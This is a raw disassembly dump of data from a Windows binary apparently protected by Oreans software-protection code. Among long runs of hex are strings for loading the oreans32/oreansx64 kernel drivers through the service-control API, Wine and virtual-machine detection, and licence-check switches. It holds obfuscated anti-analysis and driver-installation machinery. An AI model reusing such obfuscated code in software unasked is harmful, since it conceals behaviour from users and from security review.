		dd 0E016818Dh, 229D8D07h, 6607E2AFh, 6664D4BAh,	3521D281h
		dd 0FA8A6050h, 3B7FBA66h, 241C8961h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 71C35747h, 8968FF58h, 0E013FDB5h
		dd 60D0FF07h, 0BD8B60FCh, 7E007B5h, 619BD8Bh, 616107E0h
		dd 2810Fh, 0F08B0000h, 4B850F40h, 8B000000h, 0E0162DB5h
		dd 95895807h, 7E01931h,	134E9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8D8BE5B7h
		dd 7E020F9h, 0AE8h, 7F151F00h, 4A80CF7Eh, 89D95206h, 0E0009995h
		dd 0D88B5A07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0FAC35343h, 66456347h, 6A4BF38Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D0BCC357h
		dd 0EFD13CDEh, 81F5D981h, 8DA624E1h, 6A583Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 23013BC3h
		dd 6BE18166h, 5985C672h, 4307E007h, 39C0AB68h, 665250B3h
		dd 310FF18Bh, 2BBE6650h, 585A5F6Ah, 0C243481h, 8B734F8Ah
		dd 0E01E4DB5h, 1B5FF07h, 6A07E02Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E9B1C352h
		dd 8B0F4763h, 6, 30219531h, 858D07E0h, 7E039F8h, 0FFD7B70Fh
		dd 0EA8166D0h, 8950F801h, 98B6241Ch, 0FFF8BF0Fh, 0D7B70FD0h
		dd 748D9D8Dh, 0B8F907E0h, 1, 0FC51E3FFh, 0B9C18B5Ah, 71958259h
		dd 9E8C08Bh, 89000000h,	0CE487033h, 0F6818263h,	2DF5B52Bh
		dd 835F07E0h, 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h
		dd 8B535019h, 40FB8C0h,	85890000h, 7E02399h, 0BCC99D8Dh
		dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h,	40FB853h
		dd 85890000h, 7E02399h,	0B96A9D8Dh, 0D3FF07E2h,	0D68B585Bh
		dd 24F5BD8Bh, 0C08B07E0h, 6E8h,	0C773BF00h, 9775C70h, 0E021858Dh
		dd 8B575A07h, 0E02395BDh, 0C2815B07h, 64A9h, 0BE5BF957h
		dd 18FBh, 758D8960h, 8B07E01Ah,	0E0169DBDh, 32FF6107h
		dd 58A5E380h, 68A0Fh, 8D8B0000h, 7E00875h, 2C97E881h, 8589189Dh
		dd 7E02AD9h, 70EEF081h,	0FB8B3C28h, 6023F081h, 840F5C20h
		dd 6, 2BA5B589h, 805007E0h, 28F11DFh, 6850Fh, 0C9810000h
		dd 71B1A51Eh, 4DD2EA81h, 810F2199h, 6, 7AEECF81h, 0C28156D7h
		dd 21994DCEh, 1EE81h, 850F0000h, 0FFFFFF92h, 1C8C0Fh, 11E80000h
		dd 0D1000000h, 6F9248Fh, 0B0F2ADC7h, 8F324078h,	0CAC087Fh
		dd 0FAE6ACBFh, 0AAE95B59h, 53000000h, 7774666Fh, 5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	7E2B785h
		dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h,	0FF800000h
		dd 0E2B79195h, 0FF196A07h, 0E2B785B5h, 6A016A07h, 1A858D00h
		dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh
		dd 95FF07E2h, 7E2B78Dh,	0B781B5FFh, 95FF07E2h, 7E02949h
		dd 858589C3h, 8D07E2B7h, 0E2B78185h, 858D5007h,	7E2B6EBh
		dd 16850h, 95FF8000h, 7E2B791h,	858D046Ah, 7E2B785h, 6A046A50h
		dd 44858D00h, 5007E2B7h, 0B781B5FFh, 95FF07E2h,	7E02415h
		dd 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh,	95FF07E2h
		dd 7E02949h, 858589C3h,	8D07E2B7h, 0E2B78185h, 858D5007h
		dd 7E2B6EBh, 16850h, 95FF8000h,	7E2B791h, 858D046Ah, 7E2B785h
		dd 6A046A50h, 2C858D00h, 5007E2B7h, 0B781B5FFh,	95FF07E2h
		dd 7E02415h, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
		dd 95FF07E2h, 7E02949h,	858589C3h, 8D07E2B7h, 0E2B78185h
		dd 858D5007h, 7E2B6EBh,	16850h,	95FF8000h, 7E2B791h, 858D046Ah
		dd 7E2B785h, 6A046A50h,	57858D00h, 5007E2B7h, 0B781B5FFh
		dd 95FF07E2h, 7E02415h,	0B781B5FFh, 95FF07E2h, 7E2B78Dh
		dd 0B781B5FFh, 95FF07E2h, 7E02949h, 858589C3h, 8D07E2B7h
		dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h
		dd 7E2B791h, 858D046Ah,	7E2B785h, 6A046A50h, 7858D00h
		dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh
		dd 95FF07E2h, 7E2B78Dh,	0B781B5FFh, 95FF07E2h, 7E02949h
		dd 9BD83C3h, 7E01Eh, 0B840Fh, 9D8B0000h, 7E01E09h, 894CC383h
		dd 0BD83C303h, 7E01E09h, 0B840F00h, 8B000000h, 0E01E099Dh
		dd 50C38307h, 83C30389h, 0E01E09BDh, 840F0007h,	0Bh, 1E099D8Bh
		dd 0C38307E0h, 0C3038954h, 1E09BD83h, 0F0007E0h, 0B84h
		dd 99D8B00h, 8307E01Eh,	38958C3h, 9BD83C3h, 7E01Eh, 0B840Fh
		dd 9D8B0000h, 7E01E09h,	895CC383h, 60C3C303h, 0B7858589h
		dd 858D07E2h, 7E2B781h,	0EB858D50h, 5007E2B6h, 168h, 9195FF80h
		dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B77C858Dh
		dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh
		dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
		dd 95FF07E2h, 7E02949h,	8960C361h, 0E2B78585h, 81858D07h
		dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000001h,	0B79195FFh
		dd 46A07E2h, 0B785858Dh, 6A5007E2h, 8D006A04h, 0E2B75E85h
		dd 0B5FF5007h, 7E2B781h, 241595FFh, 0BD8307E0h,	7E006B1h
		dd 0C840F00h, 0FF000000h, 0E2B781B5h, 8D95FF07h, 0FF07E2B7h
		dd 0E2B781B5h, 4995FF07h, 6107E029h, 858960C3h,	7E2B785h
		dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h,	0FF800000h
		dd 0E2B79195h, 8D046A07h, 0E2B78585h, 46A5007h,	858D006Ah
		dd 7E2B765h, 81B5FF50h,	0FF07E2B7h, 0E0241595h,	0B1BD8307h
		dd 7E006h, 0C840Fh, 0B5FF0000h,	7E2B781h, 0B78D95FFh, 0B5FF07E2h
		dd 7E2B781h, 294995FFh,	0C36107E0h, 85858960h, 8D07E2B7h
		dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h
		dd 7E2B791h, 858D046Ah,	7E2B785h, 6A046A50h, 6D858D00h
		dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 6B1BD83h
		dd 0F0007E0h, 0C84h, 81B5FF00h,	0FF07E2B7h, 0E2B78D95h
		dd 81B5FF07h, 0FF07E2B7h, 0E0294995h, 60C36107h, 0B7858589h
		dd 858D07E2h, 7E2B781h,	0EB858D50h, 5007E2B6h, 168h, 9195FF80h
		dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B774858Dh
		dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh
		dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
		dd 95FF07E2h, 7E02949h,	0C760C361h, 0E2B78585h,	107h, 81858D00h
		dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000002h,	0B79195FFh
		dd 0C00B07E2h, 0F840Fh,	85C70000h, 7E2B785h, 0
		dd 4DE9h, 8D046A00h, 0E2B78585h, 46A5007h, 858D006Ah, 7E2B6FFh
		dd 81B5FF50h, 0FF07E2B7h, 0E0241595h, 0FC00B07h, 0F84h
		dd 8585C700h, 7E2B7h, 0E9000000h, 0Ah, 0B78585C7h, 107E2h
		dd 0B5FF0000h, 7E2B781h, 294995FFh, 8B6107E0h, 0E2B78585h
		dd 8960C307h, 0E2B78585h, 81858D07h, 5007E2B7h,	0B6EB858Dh
		dd 685007E2h, 80000001h, 0B79195FFh, 46A07E2h, 0B785858Dh
		dd 6A5007E2h, 8D006A04h, 0E2B6FF85h, 0B5FF5007h, 7E2B781h
		dd 241595FFh, 0BD8307E0h, 7E006B1h, 0C840F00h, 0FF000000h
		dd 0E2B781B5h, 8D95FF07h, 0FF07E2B7h, 0E2B781B5h, 4995FF07h
		dd 6107E029h, 858960C3h, 7E2B785h, 0B781858Dh, 8D5007E2h
		dd 0E2B6EB85h, 1685007h, 0FF800000h, 0E2B79195h, 8D046A07h
		dd 0E2B78585h, 46A5007h, 858D006Ah, 7E2B711h, 81B5FF50h
		dd 0FF07E2B7h, 0E0241595h, 0B1BD8307h, 7E006h, 0C840Fh
		dd 0B5FF0000h, 7E2B781h, 0B78D95FFh, 0B5FF07E2h, 7E2B781h
		dd 294995FFh, 0C36107E0h, 75985C6h, 685207E0h, 0ADE47B07h
		dd 1B71B5FFh, 95FF07E0h, 7E02001h, 0B7918589h, 85C607E2h
		dd 7E00759h, 0E56852h, 0B5FF902Eh, 7E01B71h, 200195FFh
		dd 858907E0h, 7E2B78Dh,	75985C6h, 685207E0h, 0B9BF1235h
		dd 1B71B5FFh, 95FF07E0h, 7E02001h, 24158589h, 85C607E0h
		dd 7E00759h, 10346852h,	0B5FF9878h, 7E01B71h, 200195FFh
		dd 858907E0h, 7E02949h,	75985C6h, 685207E0h, 0C005DBD4h
		dd 1B71B5FFh, 95FF07E0h, 7E02001h, 22FD8589h, 0EE907E0h
		dd 33000002h, 6E6E6143h, 7720746Fh, 65746972h, 65726F20h
		dd 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h, 74206572h
		dd 20746168h, 73696874h, 6C696620h, 73692065h, 746F6E20h
		dd 69656220h, 7520676Eh, 20646573h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	7E00759h, 5B866847h, 0B5FFE3E4h
		dd 7E02F01h, 39F8858Dh,	0D0FF07E0h, 10468h, 2D9D8D00h
		dd 5307E00Eh, 8D50D0FFh, 0E2BFC3B5h, 32FE8B07h,	850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0E0075985h
		dd 0FC684307h, 0FFBC8E6Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h
		dd 2DB58DD0h, 6A07E00Eh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 7E00759h, 0EE566857h,	0B5FFA69Bh
		dd 7E02F01h, 39F8858Dh,	0D0FF07E0h, 2105BD8Dh, 8D8D07E0h
		dd 7E2C0E9h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0BDCBB58Dh, 858D07E2h, 7E2AE58h, 8D8DD0FFh, 7E0748Dh
		dd 0B8h, 0C6E1FF00h, 0E0075985h, 0A7684307h, 0FFC0764Ah
		dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_454844+3BCh
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 0BE800h, 28BC0000h
		dd 7C26C82Fh, 5C64ACA0h, 13E92Bh, 0E9F60000h, 0FD2A8D0Ah
		dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 0F505F25h, 28Dh
		dd 5E616000h, 6CF1C781h, 0BF0F0000h, 1B05B9F1h,	37FF0000h
		dd 5BC38B66h, 0E0816660h, 81664B30h, 61D75BE2h,	0A13C381h
		dd 0BF0F518Eh, 4DEB81C3h, 0F96EB1DFh, 101F381h,	0E0804361h
		dd 80605360h, 8B665DE5h, 78F61C2h, 5860Fh, 34B80000h, 8101E87Bh
		dd 0FD765DEFh, 0D1F68122h, 81578DC8h, 0FD7659C7h, 0A800F22h
		dd 0F000000h, 489h, 58B86600h, 850F49E3h, 1Ch, 0E9F38B66h
		dd 33h,	9D14E47h, 0FDA53D54h, 5C4B77h, 18F744Eh, 8889AB2Fh
		dd 9E9h, 5A302600h, 0D35119Fh, 67E9D46Ah, 0DCFFFFFFh, 0A6D6963Eh
		dd 5C6B190h, 0E904694Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 24BD8300h, 7E2FAh, 0A840Fh, 85C70000h, 7E001C5h, 1
		dd 75985C6h, 0E84707E0h, 4, 906D6C8Dh, 24448B50h, 89008B04h
		dd 58042444h, 2F01B5FFh, 858D07E0h, 7E039F8h, 0D0FFD0FFh
		dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h
		dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h
		dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h
		dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5,	2E0E9h,	1E900h
		dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h,	585h, 2C3E900h
		dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 0A4B58D00h
		dd 0E807E2F9h, 225h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h
		dd 0B840F00h, 0C7000000h, 0E006B185h, 107h, 0B58DC300h
		dd 7E2F9AFh, 1FCE8h, 39BD0300h,	8307E2FAh, 0E2FA39BDh
		dd 840F0007h, 0Bh, 1C585C7h, 107E0h, 8DC30000h,	0E2FA28B5h
		dd 1D3E807h, 0BD030000h, 7E2FA39h, 0FA39BD83h, 0F0007E2h
		dd 0B84h, 3985C700h, 107E033h, 0C3000000h, 0F9B9B58Dh
		dd 0AAE807E2h, 3000001h, 0E2FA39BDh, 39BD8307h,	7E2FAh
		dd 0B840Fh, 85C70000h, 7E001C5h, 1, 0C3B58DC3h,	0E807E2F9h
		dd 181h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h, 15840F00h, 0C7000000h
		dd 0E001C585h, 107h, 0B185C700h, 107E006h, 0C3000000h
		dd 0F9D1B58Dh, 4EE807E2h, 3000001h, 0E2FA39BDh,	39BD8307h
		dd 7E2FAh, 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9DBB58Dh
		dd 26E807E2h, 3000001h,	0E2FA39BDh, 39BD8307h, 7E2FAh
		dd 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9E6B58Dh,	0FEE807E2h
		dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h
		dd 7E017D1h, 1,	0F9ECB58Dh, 0D6E807E2h,	3000000h, 0E2FA39BDh
		dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E028F1h, 1
		dd 0F9F2B58Dh, 0AEE807E2h, 3000000h, 0E2FA39BDh, 39BD8307h
		dd 7E2FAh, 0A840Fh, 85C70000h, 7E026C1h, 1, 0FA00B58Dh
		dd 86E807E2h, 3000000h,	0E2FA39BDh, 39BD8307h, 7E2FAh
		dd 0A840Fh, 85C70000h, 7E02CC5h, 1, 0FA0DB58Dh,	5EE807E2h
		dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h
		dd 7E02DB1h, 1,	0FA18B58Dh, 36E807E2h, 3000000h, 0E2FA39BDh
		dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E02FE5h, 1
		dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
		dd 1B960C3h, 8B000000h,	1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
aFga		db 'FG€>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 7E2FA39h, 0AE9h,	3985C700h
		dd 7E2FAh, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 7E01D85h, 0
		dd 0B7E9C88Bh, 41000010h, 50415644h, 2E323349h,	4C4C44h
		dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h
		dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h
		dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h
		dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h
		dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h
		dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch
		dd 65636976h, 8	dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 10h
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
aSoftwareWine	db 'Software\Wine',0
aLJ		db '‹Äj',0
		dw 0E851h
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 552BB12Fh
		dd 59C8D9Ch, 2B718589h,	0F68007E0h, 81958BB7h, 8B07E020h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0A9FEF3F2h, 5BAA12A9h, 0C18150FBh, 21B12B98h
		dd 39D9815Fh, 8302223Dh, 0E006B1BDh, 9750007h, 1C5BD83h
		dd 740007E0h, 8B535019h, 43DB8C0h, 85890000h, 7E020F5h
		dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
		dd 43DB853h, 85890000h,	7E020F5h, 0B9519D8Dh, 0D3FF07E2h
		dd 5F56585Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	39C35747h, 0B97BF305h, 29C421E4h, 0C08BC08Bh, 0DE9h
		dd 0E5B0B500h, 3DA21B1Ah, 94EE0E93h, 0BD832FD3h, 7E006B1h
		dd 83097500h, 0E001C5BDh, 13740007h, 0C08B5350h, 0B8h
		dd 49D8D00h, 0FF07E2BBh, 83585BD3h, 0E001C5BDh,	11740007h
		dd 0B85350h, 8D000000h,	0E2B9B59Dh, 5BD3FF07h, 9BD68058h
		dd 5880Fh, 24BF0000h, 8B5301F6h, 8DB956C0h, 5A41F9B0h
		dd 0D781C08Bh, 0CA141CFh, 6B1BD83h, 750007E0h, 0C5BD8309h
		dd 7E001h, 53501374h, 0B8C08Bh,	8D000000h, 0E2BA369Dh
		dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 0B8h, 839D8D00h
		dd 0FF07E2B9h, 81585BD3h, 126ED1E9h, 51006A25h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E2D2817Dh
		dd 8B5DDD7Eh, 59BD8BC0h, 8B07E02Dh, 8C7EBAC0h, 0BD836C38h
		dd 7E006B1h, 83097500h,	0E001C5BDh, 13740007h, 0C08B5350h
		dd 0B8h, 9D9D8D00h, 0FF07E2BAh,	83585BD3h, 0E001C5BDh
		dd 11740007h, 0B85350h,	8D000000h, 0E2B99C9Dh, 5BD3FF07h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 5157EE23h, 0ED48A5C6h, 2C6D9D89h, 0B70F07E0h
		dd 0F5C580D6h, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8D8B82C3h, 7E01671h, 0DEDBD23h
		dd 0C08B07E0h, 14E9h, 0B72C9A00h, 0AB7D7B68h, 67BFA507h
		dd 0D912563h, 200000Eh,	0B1BD8362h, 7E006h, 0BD830975h
		dd 7E001C5h, 50137400h,	0B8C08B53h, 0
		dd 0B9CF9D8Dh, 0D3FF07E2h, 8D8B585Bh, 7E02FCDh,	0B1858950h
		dd 5F07E026h, 0F680C08Bh, 519529F1h, 8B07E004h,	83F98BC0h
		dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
		dd 7D0B8C0h, 85890000h,	7E020F5h, 0BC629D8Dh, 0D3FF07E2h
		dd 0BD83585Bh, 7E001C5h, 50177400h, 7D0B853h, 85890000h
		dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0EF81585Bh, 11F67F6Ch
		dd 0BE8h, 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0B3D99EB9h
		dd 0C08B5937h, 30718D29h, 85C607E0h, 7E00759h, 71B58953h
		dd 6807E005h, 99395F90h, 14E9h,	0A48CC00h, 0B2C51CA6h
		dd 0B87043F0h, 4518081Bh, 23E42FF4h, 0ECC8BF3Bh, 0B5FF1F3Ch
		dd 7E02F01h, 5820F60h, 0BE000000h, 1B487368h, 153D8531h
		dd 8D6107E0h, 0E039F885h, 68D0F07h, 89000000h, 0E0123595h
		dd 6AD0FF07h, 3E85000h,	20000000h, 8958C358h, 81042444h
